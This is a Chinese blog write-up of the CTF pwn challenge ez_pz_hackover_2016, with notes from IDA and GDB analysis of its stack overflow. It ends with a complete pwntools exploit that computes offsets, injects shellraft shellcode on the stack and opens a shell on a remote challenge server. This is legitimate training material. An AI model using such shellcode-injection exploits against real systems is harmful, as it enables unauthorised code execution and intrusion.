ez_pz_hackover_2016

看着其他师傅的wp(这篇)总算弄懂了这个题,算得上是本人入门以来做出的第一个题吧,记录一下自己的思路和理解。就是IDA和GDB不熟练,一边用着搜索引擎一边摸索虽然慢但是挺有趣的。

先看看是几位的程序,开了什么保护。
在这里插入图片描述
发现是32位的,几乎没开什么保护。扔到IDA里面看看源码。
在这里插入图片描述
header里面就是一堆没用的printf,看看chall()函数。
在这里插入图片描述
一开始输出了s的地址,然后往s里面写不超过1023字节的字符串,接着拿s与"crashme"做比较,如果一样的话,进入vuln()函数:
在这里插入图片描述
由于n传进去的值有0x400,在这里可以发生栈溢出。

所以理清思路,我们在栈上注入shellcode,然后栈溢出控制程序执行注入的shellcode。

用GDB调试,没学过python有点手生,借鉴了别人写的调试的代码:

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'
gdb.attach(p,'b *0x8048600') #在vuln函数末尾的nop处下断点
p.recvuntil('crash: ')
stack=int(p.recv(10),16) #保存一下s的地址等会儿要用到
print hex(stack)
payload='crashme\x00'+'picasso' #memcpy识别'\0'做为结束标志,而fgets会把输入的换行保留下来,所以这里在crashme后面加\x00,再随便加一个字符串看看它的位置
p.sendline(payload)
pause()

进入gdb后,输入c到断点的位置,我们主要分析现在的栈结构:
在这里插入图片描述
看的到"ashme",“cr"在前面,它们的ascii码是63和72,所以是从0xff91b612开始的,返回地址存在0xff91b62c的地址里(ebp下面),所以要覆盖0x2c-0x12=0x1a字节,其中有8个字节是"crashme\x00”,所以减个8,那么ROP的payload是:

payload = "crashme\x00"+'a'*(0x2c-0x12-8)+p32(address)+shellcode

address是我们的要导向的地址,也就是栈溢出覆盖后返回地址的下面,看上面的栈结构,0xff91b62c是返回地址,那么shellcode的地址是0xff91b630。
在这里插入图片描述
调试时获得了s的地址0xff91b64c,保存在了stack变量中,那么shellcode的地址在0xff91b630也就是s上面0xff91b64c-0xff91b630=0x1c的位置,即address=stack-0x1c。

所以写出完整的exp:

from pwn import *
p=remote('node3.buuoj.cn',29711)
context.log_level='debug'
p.recvuntil('crash: ')
stack=int(p.recv(10),16)
shellcode=asm(shellcraft.sh())
address=stack-0x1c
payload='crashme\x00'+'a'*(0x2c-0x12-8)+p32(address)+shellcode
p.sendline(payload)
p.interactive()

运行拿到shell获得flag:
在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值